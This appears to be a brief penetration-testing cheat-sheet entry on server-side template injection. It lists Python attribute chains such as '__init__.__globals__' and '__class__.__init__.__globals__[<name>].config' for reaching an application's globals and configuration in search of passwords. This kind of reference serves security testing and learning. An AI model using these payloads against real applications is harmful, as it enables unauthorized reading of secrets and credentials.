## Server Side Template Injection
|
|
|
|
Interesting functions to exploit this vulnerability
|
|
|
|
```
|
|
__init__.__globals__
|
|
__class__.__init__.__globals__
|
|
```
|
|
|
|
Inside the response search for the application (probably at the end?)
|
|
|
|
Then **access the environment content** of the application where you will hopefully find **some passwords **of interesting information:
|
|
|
|
```
|
|
__init__.__globals__[<name>].config
|
|
__init__.__globals__[<name>].__dict__
|
|
__init__.__globals__[<name>].__dict__.config
|
|
__class__.__init__.__globals__[<name>].config
|
|
__class__.__init__.__globals__[<name>].__dict__
|
|
__class__.__init__.__globals__[<name>].__dict__.config
|
|
```
